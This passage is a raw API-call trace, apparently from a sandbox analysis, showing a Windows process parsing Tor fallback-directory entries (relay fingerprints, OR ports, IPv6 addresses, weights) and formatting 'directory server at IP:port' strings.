_EndPtr=0x36f3c4*="") returned 60784 [0115.633] _errno () returned 0x9f07d8 [0115.633] strlen (_Str="orport=") returned 0x7 [0115.633] strncmp (_Str1="id=32EE", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.633] strlen (_Str="id=") returned 0x3 [0115.633] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.633] strlen (_Str="id=32EE911D968BE3E016ECA572BB1ED0A9EE43FC2F") returned 0x2b [0115.633] strlen (_Str="orport=") returned 0x7 [0115.633] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.633] strlen (_Str="id=") returned 0x3 [0115.633] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.633] strlen (_Str="ipv6=") returned 0x5 [0115.633] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.633] strlen (_Str="[2001:948:7:2::163]:5001") returned 0x18 [0115.634] strlen (_Str="2001:948:7:2::163]:500") returned 0x16 [0115.634] strtol (in: _Str="2001:948:7:2::163]:500", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":948:7:2::163]:500") returned 8193 [0115.634] strtol (in: _Str="948:7:2::163]:500", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":7:2::163]:500") returned 2376 [0115.634] strtol (in: _Str="7:2::163]:500", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":2::163]:500") returned 7 [0115.634] strtol (in: _Str="2::163]:500", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::163]:500") returned 2 [0115.634] strtol (in: _Str="163]:500", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:500") returned 355 [0115.634] strtol (in: _Str="5001", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 5001 [0115.634] _errno () returned 0x9f07d8 [0115.634] strlen (_Str="[2001:948:7:2::163]") returned 0x13 [0115.634] strlen (_Str="2001:948:7:2::163") returned 0x11 [0115.634] strtol (in: _Str="2001:948:7:2::163", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":948:7:2::163") returned 8193 [0115.634] strtol (in: _Str="948:7:2::163", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":7:2::163") returned 2376 [0115.634] strtol (in: _Str="7:2::163", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":2::163") returned 7 [0115.634] strtol (in: _Str="2::163", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::163") returned 2 [0115.634] strtol (in: _Str="163", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 355 [0115.634] strlen (_Str="orport=") returned 0x7 [0115.634] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.634] strlen (_Str="id=") returned 0x3 [0115.634] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.634] strlen (_Str="ipv6=") returned 0x5 [0115.634] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.634] strlen (_Str="weight=") returned 0x7 [0115.634] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.634] _errno () returned 0x9f07d8 [0115.634] localeconv () returned 0x75db2b80 [0115.634] strlen (_Str=".") returned 0x1 [0115.634] strtol (in: _Str="52860", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 52860 [0115.634] _errno () returned 0x9f07d8 [0115.634] htonl (hostlong=0x6d696da2) returned 0xa26d696d [0115.634] htonl (hostlong=0xa26d696d) returned 0x6d696da2 [0115.634] htonl (hostlong=0xa26d696d) returned 0x6d696da2 [0115.634] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="109.105.109.162") returned 15 [0115.634] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 41 [0115.634] _vsnprintf (in: _DstBuf=0x8463a0, _MaxCount=0x2a, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 109.105.109.162:52860") returned 41 [0115.634] strlen (_Str="orport=") returned 0x7 [0115.634] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.634] _errno () returned 0x9f07d8 [0115.634] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.634] _errno () returned 0x9f07d8 [0115.635] strlen (_Str="orport=") returned 0x7 [0115.635] strncmp (_Str1="id=35E8", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.635] strlen (_Str="id=") returned 0x3 [0115.635] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.635] strlen (_Str="id=35E8B344F661F4F2E68B17648F35798B44672D7E") returned 0x2b [0115.635] strlen (_Str="orport=") returned 0x7 [0115.635] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.635] strlen (_Str="id=") returned 0x3 [0115.635] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.635] strlen (_Str="ipv6=") returned 0x5 [0115.635] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.635] strlen (_Str="weight=") returned 0x7 [0115.635] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.635] _errno () returned 0x9f07d8 [0115.635] localeconv () returned 0x75db2b80 [0115.635] strlen (_Str=".") returned 0x1 [0115.635] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.635] _errno () returned 0x9f07d8 [0115.635] htonl (hostlong=0x92002090) returned 0x90200092 [0115.635] htonl (hostlong=0x90200092) returned 0x92002090 [0115.635] htonl (hostlong=0x90200092) returned 0x92002090 [0115.635] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="146.0.32.144") returned 12 [0115.635] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 37 [0115.635] _vsnprintf (in: _DstBuf=0x847640, _MaxCount=0x26, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 146.0.32.144:9030") returned 37 [0115.635] strlen (_Str="orport=") returned 0x7 [0115.635] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.635] _errno () returned 0x9f07d8 [0115.635] strtol (in: _Str="9090", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9090 [0115.635] _errno () returned 0x9f07d8 [0115.635] strlen (_Str="orport=") returned 0x7 [0115.635] strncmp (_Str1="id=361D", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.635] strlen (_Str="id=") returned 0x3 [0115.635] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.635] strlen (_Str="id=361D33C96D0F161275EE67E2C91EE10B276E778B") returned 0x2b [0115.635] strlen (_Str="orport=") returned 0x7 [0115.635] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.635] strlen (_Str="id=") returned 0x3 [0115.635] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.635] strlen (_Str="ipv6=") returned 0x5 [0115.635] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.635] strlen (_Str="weight=") returned 0x7 [0115.636] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.636] _errno () returned 0x9f07d8 [0115.636] localeconv () returned 0x75db2b80 [0115.636] strlen (_Str=".") returned 0x1 [0115.636] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.636] _errno () returned 0x9f07d8 [0115.636] htonl (hostlong=0xd94fbe19) returned 0x19be4fd9 [0115.636] htonl (hostlong=0x19be4fd9) returned 0xd94fbe19 [0115.636] htonl (hostlong=0x19be4fd9) returned 0xd94fbe19 [0115.636] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="217.79.190.25") returned 13 [0115.636] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 38 [0115.636] _vsnprintf (in: _DstBuf=0x847670, _MaxCount=0x27, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 217.79.190.25:9030") returned 38 [0115.636] strlen (_Str="orport=") returned 0x7 [0115.636] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.636] _errno () returned 0x9f07d8 [0115.636] strtol (in: _Str="9101", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9101 [0115.636] _errno () returned 0x9f07d8 [0115.636] strlen (_Str="orport=") returned 0x7 [0115.636] strncmp (_Str1="id=387B", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.636] strlen (_Str="id=") returned 0x3 [0115.636] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.636] strlen (_Str="id=387B065A38E4DAA16D9D41C2964ECBC4B31D30FF") returned 0x2b [0115.636] strlen (_Str="orport=") returned 0x7 [0115.636] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.636] strlen (_Str="id=") returned 0x3 [0115.636] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.636] strlen (_Str="ipv6=") returned 0x5 [0115.636] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.636] strlen (_Str="[2001:bc8:338c::1]:9101") returned 0x17 [0115.636] strlen (_Str="2001:bc8:338c::1]:910") returned 0x15 [0115.636] strtol (in: _Str="2001:bc8:338c::1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":bc8:338c::1]:910") returned 8193 [0115.636] strtol (in: _Str="bc8:338c::1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":338c::1]:910") returned 3016 [0115.636] strtol (in: _Str="338c::1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::1]:910") returned 13196 [0115.636] strtol (in: _Str="1]:910", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:910") returned 1 [0115.636] strtol (in: _Str="9101", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9101 [0115.636] _errno () returned 0x9f07d8 [0115.636] strlen (_Str="[2001:bc8:338c::1]") returned 0x12 [0115.636] strlen (_Str="2001:bc8:338c::1") returned 0x10 [0115.637] strtol (in: _Str="2001:bc8:338c::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":bc8:338c::1") returned 8193 [0115.637] strtol (in: _Str="bc8:338c::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":338c::1") returned 3016 [0115.637] strtol (in: _Str="338c::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::1") returned 13196 [0115.637] strtol (in: _Str="1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 1 [0115.637] strlen (_Str="orport=") returned 0x7 [0115.637] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.637] strlen (_Str="id=") returned 0x3 [0115.637] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.637] strlen (_Str="ipv6=") returned 0x5 [0115.637] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.637] strlen (_Str="weight=") returned 0x7 [0115.637] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.637] _errno () returned 0x9f07d8 [0115.637] localeconv () returned 0x75db2b80 [0115.637] strlen (_Str=".") returned 0x1 [0115.637] strtol (in: _Str="9130", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9130 [0115.637] _errno () returned 0x9f07d8 [0115.637] htonl (hostlong=0x3ed25c0b) returned 0xb5cd23e [0115.637] htonl (hostlong=0xb5cd23e) returned 0x3ed25c0b [0115.637] htonl (hostlong=0xb5cd23e) returned 0x3ed25c0b [0115.637] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="62.210.92.11") returned 12 [0115.637] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 37 [0115.637] _vsnprintf (in: _DstBuf=0x8476a0, _MaxCount=0x26, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 62.210.92.11:9130") returned 37 [0115.637] strlen (_Str="orport=") returned 0x7 [0115.637] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.637] _errno () returned 0x9f07d8 [0115.637] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.637] _errno () returned 0x9f07d8 [0115.637] strlen (_Str="orport=") returned 0x7 [0115.637] strncmp (_Str1="id=39F0", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.637] strlen (_Str="id=") returned 0x3 [0115.637] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.637] strlen (_Str="id=39F096961ED2576975C866D450373A9913AFDC92") returned 0x2b [0115.637] strlen (_Str="orport=") returned 0x7 [0115.637] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.637] strlen (_Str="id=") returned 0x3 [0115.637] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.637] strlen (_Str="ipv6=") returned 0x5 [0115.637] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.637] strlen (_Str="weight=") returned 0x7 [0115.637] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.637] _errno () returned 0x9f07d8 [0115.637] localeconv () returned 0x75db2b80 [0115.637] strlen (_Str=".") returned 0x1 [0115.638] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.638] _errno () returned 0x9f07d8 [0115.638] htonl (hostlong=0xc632bf5f) returned 0x5fbf32c6 [0115.638] htonl (hostlong=0x5fbf32c6) returned 0xc632bf5f [0115.638] htonl (hostlong=0x5fbf32c6) returned 0xc632bf5f [0115.638] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="198.50.191.95") returned 13 [0115.638] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 36 [0115.638] _vsnprintf (in: _DstBuf=0x8476d0, _MaxCount=0x25, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 198.50.191.95:80") returned 36 [0115.638] strlen (_Str="orport=") returned 0x7 [0115.638] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.638] _errno () returned 0x9f07d8 [0115.638] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.638] _errno () returned 0x9f07d8 [0115.638] strlen (_Str="orport=") returned 0x7 [0115.638] strncmp (_Str1="id=3B33", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.638] strlen (_Str="id=") returned 0x3 [0115.638] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.638] strlen (_Str="id=3B33F6FCA645AD4E91428A3AF7DC736AD9FB727B") returned 0x2b [0115.638] strlen (_Str="orport=") returned 0x7 [0115.638] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.638] strlen (_Str="id=") returned 0x3 [0115.638] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.638] strlen (_Str="ipv6=") returned 0x5 [0115.638] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.638] strlen (_Str="weight=") returned 0x7 [0115.638] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.638] _errno () returned 0x9f07d8 [0115.638] localeconv () returned 0x75db2b80 [0115.638] strlen (_Str=".") returned 0x1 [0115.638] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.638] _errno () returned 0x9f07d8 [0115.638] htonl (hostlong=0xa4844daf) returned 0xaf4d84a4 [0115.638] htonl (hostlong=0xaf4d84a4) returned 0xa4844daf [0115.638] htonl (hostlong=0xaf4d84a4) returned 0xa4844daf [0115.638] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="164.132.77.175") returned 14 [0115.638] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 39 [0115.638] _vsnprintf (in: _DstBuf=0x847700, _MaxCount=0x28, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 164.132.77.175:9030") returned 39 [0115.638] strlen (_Str="orport=") returned 0x7 [0115.639] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.639] _errno () returned 0x9f07d8 [0115.639] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.639] _errno () returned 0x9f07d8 [0115.639] strlen (_Str="orport=") returned 0x7 [0115.639] strncmp (_Str1="id=3D7E", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.639] strlen (_Str="id=") returned 0x3 [0115.639] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.639] strlen (_Str="id=3D7E274A87D9A89AF064C13D1EE4CA1F184F2600") returned 0x2b [0115.639] strlen (_Str="orport=") returned 0x7 [0115.639] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.639] strlen (_Str="id=") returned 0x3 [0115.639] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.639] strlen (_Str="ipv6=") returned 0x5 [0115.639] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.639] strlen (_Str="weight=") returned 0x7 [0115.639] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.639] _errno () returned 0x9f07d8 [0115.639] localeconv () returned 0x75db2b80 [0115.639] strlen (_Str=".") returned 0x1 [0115.639] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.639] _errno () returned 0x9f07d8 [0115.639] htonl (hostlong=0xb00a6bb4) returned 0xb46b0ab0 [0115.639] htonl (hostlong=0xb46b0ab0) returned 0xb00a6bb4 [0115.639] htonl (hostlong=0xb46b0ab0) returned 0xb00a6bb4 [0115.639] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="176.10.107.180") returned 14 [0115.639] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 39 [0115.639] _vsnprintf (in: _DstBuf=0x847730, _MaxCount=0x28, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 176.10.107.180:9030") returned 39 [0115.639] strlen (_Str="orport=") returned 0x7 [0115.639] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.639] _errno () returned 0x9f07d8 [0115.639] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.639] _errno () returned 0x9f07d8 [0115.639] strlen (_Str="orport=") returned 0x7 [0115.639] strncmp (_Str1="id=489D", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.639] strlen (_Str="id=") returned 0x3 [0115.639] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.639] strlen (_Str="id=489D94333DF66D57FFE34D9D59CC2D97E2CB0053") returned 0x2b [0115.639] strlen (_Str="orport=") returned 0x7 [0115.639] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.639] strlen (_Str="id=") returned 0x3 [0115.639] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.639] strlen (_Str="ipv6=") returned 0x5 [0115.639] _strnicmp (_Str1="ipv6=", _Str="ipv6=", _MaxCount=0x5) returned 0 [0115.639] strlen (_Str="[2001:41d0:a:26ba::1]:9001") returned 0x1a [0115.640] strlen (_Str="2001:41d0:a:26ba::1]:900") returned 0x18 [0115.640] strtol (in: _Str="2001:41d0:a:26ba::1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":41d0:a:26ba::1]:900") returned 8193 [0115.640] strtol (in: _Str="41d0:a:26ba::1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":a:26ba::1]:900") returned 16848 [0115.640] strtol (in: _Str="a:26ba::1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":26ba::1]:900") returned 10 [0115.640] strtol (in: _Str="26ba::1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::1]:900") returned 9914 [0115.640] strtol (in: _Str="1]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:900") returned 1 [0115.640] strtol (in: _Str="9001", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9001 [0115.640] _errno () returned 0x9f07d8 [0115.640] strlen (_Str="[2001:41d0:a:26ba::1]") returned 0x15 [0115.640] strlen (_Str="2001:41d0:a:26ba::1") returned 0x13 [0115.640] strtol (in: _Str="2001:41d0:a:26ba::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":41d0:a:26ba::1") returned 8193 [0115.640] strtol (in: _Str="41d0:a:26ba::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":a:26ba::1") returned 16848 [0115.640] strtol (in: _Str="a:26ba::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":26ba::1") returned 10 [0115.640] strtol (in: _Str="26ba::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::1") returned 9914 [0115.640] strtol (in: _Str="1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 1 [0115.640] strlen (_Str="orport=") returned 0x7 [0115.640] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.640] strlen (_Str="id=") returned 0x3 [0115.640] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.640] strlen (_Str="ipv6=") returned 0x5 [0115.640] _strnicmp (_Str1="weigh", _Str="ipv6=", _MaxCount=0x5) returned 1 [0115.640] strlen (_Str="weight=") returned 0x7 [0115.640] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.640] _errno () returned 0x9f07d8 [0115.640] localeconv () returned 0x75db2b80 [0115.640] strlen (_Str=".") returned 0x1 [0115.640] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.640] _errno () returned 0x9f07d8 [0115.640] htonl (hostlong=0x25bb66ba) returned 0xba66bb25 [0115.640] htonl (hostlong=0xba66bb25) returned 0x25bb66ba [0115.640] htonl (hostlong=0xba66bb25) returned 0x25bb66ba [0115.640] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="37.187.102.186") returned 14 [0115.640] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 39 [0115.640] _vsnprintf (in: _DstBuf=0x847760, _MaxCount=0x28, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 37.187.102.186:9030") returned 39 [0115.640] strlen (_Str="orport=") returned 0x7 [0115.640] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.640] _errno () returned 0x9f07d8 [0115.640] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.640] _errno () returned 0x9f07d8 [0115.641] strlen (_Str="orport=") returned 0x7 [0115.641] strncmp (_Str1="id=49E7", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.641] strlen (_Str="id=") returned 0x3 [0115.641] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.641] strlen (_Str="id=49E7AD01BB96F6FE3AB8C3B15BD2470B150354DF") returned 0x2b [0115.641] strlen (_Str="orport=") returned 0x7 [0115.641] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.641] strlen (_Str="id=") returned 0x3 [0115.641] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.641] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.641] _errno () returned 0x9f07d8 [0115.641] localeconv () returned 0x75db2b80 [0115.641] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.641] _errno () returned 0x9f07d8 [0115.641] htonl (hostlong=0xbca5c2c3) returned 0xc3c2a5bc [0115.641] htonl (hostlong=0xc3c2a5bc) returned 0xbca5c2c3 [0115.641] htonl (hostlong=0xc3c2a5bc) returned 0xbca5c2c3 [0115.641] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="188.165.194.195") returned 15 [0115.641] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 40 [0115.641] _vsnprintf (in: _DstBuf=0x8463d8, _MaxCount=0x29, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 188.165.194.195:9030") returned 40 [0115.641] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.641] _errno () returned 0x9f07d8 [0115.641] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.641] _errno () returned 0x9f07d8 [0115.641] strncmp (_Str1="id=4F0D", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.641] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.641] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.641] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.641] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.641] _errno () returned 0x9f07d8 [0115.641] localeconv () returned 0x75db2b80 [0115.641] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.641] _errno () returned 0x9f07d8 [0115.641] htonl (hostlong=0x6c35d09d) returned 0x9dd0356c [0115.641] htonl (hostlong=0x9dd0356c) returned 0x6c35d09d [0115.641] htonl (hostlong=0x9dd0356c) returned 0x6c35d09d [0115.641] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="108.53.208.157") returned 14 [0115.642] _vsnprintf (in: _DstBuf=0x0, _MaxCount=0x0, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf=0x0) returned 37 [0115.642] _vsnprintf (in: _DstBuf=0x847790, _MaxCount=0x26, _Format="directory server at %s:%d", _ArgList=0x36f308 | out: _DstBuf="directory server at 108.53.208.157:80") returned 37 [0115.642] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.642] _errno () returned 0x9f07d8 [0115.642] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.642] _errno () returned 0x9f07d8 [0115.642] strncmp (_Str1="id=5058", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.642] strncmp (_Str1="id=", 